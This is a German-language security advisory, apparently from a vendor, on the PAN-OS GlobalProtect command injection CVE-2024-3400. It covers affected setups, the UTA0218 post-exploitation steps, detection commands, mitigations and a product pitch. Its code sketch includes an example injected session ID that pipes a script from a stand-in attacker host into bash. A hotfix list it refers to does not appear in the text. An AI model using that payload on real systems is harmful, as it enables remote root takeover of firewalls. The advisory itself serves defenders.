CVE-2024-3400: Palo Alto PAN-OS Command Injection — CVSS 10.0

CVE-2024-3400 ist eine OS-Command-Injection-Schwachstelle mit maximalem Schweregrad im GlobalProtect-Gateway von Palo Alto Networks PAN-OS. Ein unauthentifizierter Angreifer kann beliebige OS-Befehle als root ohne jede Interaktion ausführen. Vor der Offenlegung von UTA0218 (wahrscheinlich staatlich gesponsert) ausgenutzt.

Was ist CVE-2024-3400?

CVE-2024-3400 betrifft die GlobalProtect-Funktion von Palo Alto Networks PAN-OS. Wenn GlobalProtect als Gateway oder Portal konfiguriert ist, kann ein unauthentifizierter Remote-Angreifer beliebige OS-Befehle injizieren, die mit root-Rechten auf der Firewall-Appliance ausgeführt werden.

Die Kombination der Faktoren — keine Authentifizierung erforderlich, netzwerkzugänglich, geänderter Scope, maximaler Impact auf Vertraulichkeit, Integrität und Verfügbarkeit — ergibt einen perfekten CVSS-10.0-Score. Unter Firewall-Herstellern haben nur eine Handvoll Schwachstellen je diesen Score erhalten.

Betroffene Systeme

Voraussetzung: Ein GlobalProtect-Gateway oder -Portal muss konfiguriert sein (show global-protect-gateway current-user liefert Ergebnisse). Organisationen, die GlobalProtect nicht konfiguriert haben, sind nicht betroffen.

Technische Analyse

Der Injektionspunkt liegt im Code zur GlobalProtect-Session-Behandlung. Wenn eine GlobalProtect-Session aufgebaut wird, werden bestimmte Session-Attribute in temporäre Dateien auf der Firewall geschrieben. Der Code, der den Dateipfad für diese Session-Dateien konstruiert, bereinigt den teilweise angreiferkontrollierten Session-Identifier nicht korrekt.

# Simplified vulnerable file path construction
SESSION_ID = request.cookie["SESSID"]  # Attacker-controlled
session_file = f"/var/appweb/sslvpndocs/global-protect/{SESSION_ID}.log"
os.system(f"echo 'connected' >> {session_file}")  # Command injection here

# Attacker crafts session ID containing shell metacharacters:
# SESSION_ID = "../../tmp/evil;curl http://attacker.com/shell.sh|bash;"

Die von UTA0218 installierte UPSTYLE-Backdoor nutzte einen neuartigen Persistenz-Mechanismus: ein Python-Skript, das Webserver-Zugriffs-Logs auf bestimmte Request-Muster (mit einem verschlüsselten Befehl) überwachte, die Befehle ausführte und dann den ursprünglichen Dateiinhalt wiederherstellte, um Spuren der Aktivität zu entfernen.

Post-Exploitation-Aktivität (UTA0218)

Volexity dokumentierte die folgende Post-Exploitation-Sequenz von Nationalstaats-Akteuren:

• UPSTYLE-Deployment: Python-Backdoor im Webserver-Pfad der Firewall installiert für persistenten Zugriff
• Credential-Extraktion: Firewall-Konfigurations-Dump mit VPN-Credentials und internen Routing-Informationen
• Internes Pivoting: Nutzung der vertrauenswürdigen Netzwerkposition der kompromittierten Firewall, um interne Hosts zu erreichen
• LDAP-Queries: Active-Directory-Enumeration über den internen Netzwerkzugriff der Firewall
• Data-Staging: Komprimierung und Exfiltration sensibler Dateien über die Firewall

Erkennung

PAN-OS-Log-Analyse

# Check for UPSTYLE backdoor artifacts
find / -name "*.py" -newer /etc/passwd -not -path "*/site-packages/*" 2>/dev/null

# Suspicious traffic in GlobalProtect logs
grep -i "curl\|wget\|python\|bash" /var/log/pan/sslvpn.log

# Modified system files (UPSTYLE modifies then restores)
# Check for recent access times on web server files
find /var/appweb -atime -7 -name "*.php" -o -name "*.py"

Threat-Hunting-Queries

• HTTP-200-Antworten auf GlobalProtect-Pfade mit ungewöhnlichen Session-Cookie-Formaten
• Ausgehende Verbindungen von der Firewall-Management-Plane zu externen IPs
• DNS-Anfragen von PAN-OS nach Domains, die nicht im Threat-Intelligence-Feed sind
• Ungewöhnliche Datei-Änderungs-Timestamps auf Firewall-Konfigurationsdateien

Mitigation

1. Sofort patchen: Wenden Sie die oben aufgeführten Hotfix-Versionen an. Dies ist ein CVSS 10.0 mit aktiver Ausnutzung — es gibt keine akzeptable Verzögerung.
2. Threat-Prevention-Zwischenlösung: Aktivieren Sie für ungepatchte Geräte Threat Prevention mit Security-Profilen auf GlobalProtect-Interfaces. Palo Alto stellte spezifische Threat-ID-Signaturen bereit.
3. GlobalProtect deaktivieren, falls nicht benötigt: Organisationen, die GlobalProtect nicht aktiv nutzen, können die Funktion vorübergehend als Workaround deaktivieren.
4. Firewall-Dateien auditieren: Führen Sie das von Palo Alto bereitgestellte Skript aus, um auf UPSTYLE und andere Post-Exploitation-Artefakte zu prüfen.
5. Alle Credentials rotieren: Alle in der Firewall-Konfiguration gespeicherten Credentials (VPN-Zertifikate, LDAP-Bind-Credentials usw.) müssen als kompromittiert gelten.

KENSAI-Erkennungsfähigkeit

• PAN-OS-Fingerprinting: KENSAI identifiziert internet-gerichtete Palo-Alto-Geräte und ihre PAN-OS-Versionen und markiert für CVE-2024-3400 verwundbare Konfigurationen
• GlobalProtect-Exposure-Erkennung: Identifiziert, ob GlobalProtect-Gateway/-Portal auf erkannten Geräten aktiviert ist
• Sichere Ausnutzbarkeits-Bestätigung: Nicht-destruktive Probe verifiziert die Ausnutzbarkeit, ohne Befehle auszuführen
• Kompromittierungs-Indikator-Scanning: Prüft auf UPSTYLE-Backdoor-Indikatoren in zugänglichen Web-Pfaden
• Kontinuierliches Angriffsflächen-Monitoring: Alarmiert bei neu entdeckten PAN-OS-Geräten, die Ihrer externen Angriffsfläche beitreten